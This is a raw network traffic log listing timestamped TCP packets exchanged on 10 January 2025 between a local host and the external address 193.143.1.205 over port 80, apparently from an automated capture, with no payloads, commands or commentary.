Jan 10, 2025 21:48:43.955214977 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955225945 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955265999 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955271006 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955271006 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955292940 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955307007 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955310106 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955336094 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955353022 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955360889 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955370903 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955388069 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955396891 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955404043 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955421925 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955432892 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955437899 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955452919 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.955457926 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.955502987 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.993525028 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993560076 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993577003 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993596077 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993613958 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993629932 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993647099 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993644953 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.993666887 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.993717909 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.993740082 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996088028 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996117115 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996134996 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996151924 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996180058 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996213913 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996217966 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996234894 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996252060 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996278048 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996319056 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996356010 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996378899 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996397018 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996423960 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996434927 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996440887 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996459007 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996469021 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996498108 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996500969 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996519089 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996534109 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996550083 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996558905 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996567011 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996587038 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996623039 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996639013 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996654987 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996659040 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996675014 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996695995 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996702909 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996718884 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996736050 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996737957 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996752024 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996769905 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996777058 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996851921 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996881962 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996898890 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996915102 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996932030 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996939898 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996949911 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996965885 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996974945 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.996982098 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.996999025 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997014999 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997035980 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997045040 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997061014 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997078896 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997102022 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997106075 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997121096 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997138977 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997145891 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997168064 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997174978 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997185946 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997208118 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997234106 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997246027 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997279882 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997303963 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997320890 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997347116 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997364044 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997368097 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997380018 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997397900 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997401953 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997433901 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997539043 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997555971 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997570992 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997586012 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997596025 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997603893 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997618914 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997628927 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997641087 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997653961 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.997657061 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.997697115 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.998785973 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998815060 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998840094 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998855114 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998858929 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.998872995 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998888016 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998893023 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.998904943 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998920918 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998928070 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.998938084 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998954058 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998958111 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.998971939 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998986959 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.998999119 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.999003887 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999011993 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.999021053 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999037027 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999053001 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999059916 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.999069929 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999084949 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999088049 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.999102116 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999119997 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999126911 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:43.999138117 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:43.999160051 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.032099962 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.032115936 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.032133102 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.032147884 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.032191038 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.032298088 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.032315016 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.032330990 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.032356977 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.041903019 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.041948080 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.041963100 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.041964054 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.041996956 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.266756058 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.266907930 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.277621031 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282568932 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282614946 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282633066 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282649994 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282655954 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282668114 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282687902 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282690048 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282726049 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282778978 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282794952 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282820940 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282829046 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282839060 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282855988 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282871962 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282879114 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282890081 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282905102 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282919884 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282922983 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282938957 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282948017 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282968998 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.282979012 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.282985926 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283003092 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283018112 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283026934 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283035040 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283052921 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283061028 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283070087 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283086061 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283106089 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283128977 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283128977 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283129930 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283159971 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283164978 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283188105 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283212900 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283219099 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283231974 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283247948 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283265114 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283287048 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283289909 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283308029 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283318996 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283334017 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283343077 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283350945 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283368111 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283389091 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283394098 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283411026 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283428907 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283438921 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283454895 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283471107 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283479929 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283498049 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283514023 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283515930 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283529997 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283545017 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283549070 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283561945 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283577919 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283584118 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283596039 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283612013 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283618927 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283629894 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283643961 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283657074 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283673048 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283687115 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283694983 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283706903 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283724070 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283727884 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283742905 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283761024 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283765078 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283780098 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283797026 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283797979 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283827066 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283838987 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283855915 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283871889 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283886909 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283894062 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283902884 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283919096 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283920050 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283936024 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283951044 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283957958 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.283967972 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283983946 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.283991098 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284001112 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284015894 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284022093 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284033060 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284048080 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284054041 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284066916 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284081936 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284084082 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284099102 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284113884 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284121037 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284132004 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284147978 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284151077 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284163952 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284179926 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284184933 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284195900 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284214020 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284229994 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284245014 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284245968 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284252882 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284262896 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284279108 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284286022 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284296989 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284313917 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284317970 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284339905 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284357071 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284368992 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284384966 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284401894 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284404993 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284420013 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284435987 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284444094 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284452915 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284468889 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284472942 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284487009 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284502983 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284506083 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284521103 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284538031 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284540892 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284555912 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284569025 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284573078 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284595966 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284606934 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284672022 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284696102 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284707069 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284725904 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284740925 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284756899 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284758091 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284771919 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284790039 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284796000 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284815073 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284825087 CET	49736	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:48:44.284835100 CET	80	49736	193.143.1.205	192.168.2.9
Jan 10, 2025 21:48:44.284851074 CET	80	49736	193.143.1.205	192.168.2.9
